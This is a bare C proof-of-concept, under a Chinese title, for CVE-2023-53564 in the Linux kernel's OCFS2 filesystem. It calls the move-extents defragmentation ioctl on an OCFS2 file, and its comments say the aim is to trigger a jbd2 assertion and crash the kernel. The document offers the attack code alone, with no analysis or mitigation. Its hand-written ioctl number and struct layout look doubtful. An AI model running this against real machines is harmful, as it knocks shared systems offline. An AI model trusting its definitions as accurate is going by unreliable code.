CVE-2023-53564 Linux内核OCFS2文件系统defrag路径触发jbd2断言漏洞

// CVE-2023-53564 PoC - Trigger OCFS2 defrag path jbd2 ASSERT // This PoC triggers the vulnerability by performing defragmentation // on an OCFS2 filesystem, which causes a kernel ASSERT failure in jbd2. // Build: gcc -o poc_cve_2023_53564 poc_cve_2023_53564.c // Usage: ./poc_cve_2023_53564 /mnt/ocfs2_mount_point #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/stat.h> // OCFS2 ioctl definitions for move extents (defragmentation) #ifndef OCFS2_IOC_MOVE_EXTENTS #define OCFS2_IOC_MOVE_EXTENTS _IOW(0xF7, 6, struct ocfs2_move_extents) #endif struct ocfs2_move_extents { unsigned int me_start; /* Starting offset in clusters */ unsigned int me_len; /* Number of clusters to move */ unsigned int me_goal; /* Destination cluster */ unsigned int me_flags; /* Flags for the operation */ unsigned int me_count; /* Number of extents moved */ }; int main(int argc, char *argv[]) { int fd; struct ocfs2_move_extents me; const char *mount_point; if (argc < 2) { fprintf(stderr, "Usage: %s <ocfs2_file>\n", argv[0]); return 1; } mount_point = argv[1]; // Open a file on the OCFS2 filesystem fd = open(mount_point, O_RDWR); if (fd < 0) { perror("open"); fprintf(stderr, "Make sure the target is on an OCFS2 filesystem\n"); return 1; } // Setup move_extents parameters to trigger defragmentation memset(&me, 0, sizeof(me)); me.me_start = 0; // Start from the beginning me.me_len = 1; // Move 1 cluster me.me_goal = 1; // Move to cluster 1 me.me_flags = 0; // No special flags me.me_count = 0; printf("Triggering OCFS2 defrag path...\n"); printf("This should trigger jbd2 ASSERT and crash the kernel\n"); // Call the ioctl to trigger the vulnerable code path: // ocfs2_ioctl_move_extents -> ocfs2_move_extents -> ocfs2_defrag_extent // -> __ocfs2_move_extent -> ocfs2_journal_access_di // -> ocfs2_split_extent (calls jbd2_journal_restart) // -> ocfs2_journal_dirty (triggers jbd2 ASSERT) int ret = ioctl(fd, OCFS2_IOC_MOVE_EXTENTS, &me); if (ret < 0) { perror("ioctl"); // On vulnerable kernels, the kernel will crash before returning printf("ioctl failed (kernel may have crashed)\n"); } else { printf("ioctl returned: %d, me_count: %u\n", ret, me.me_count); } close(fd); return 0; }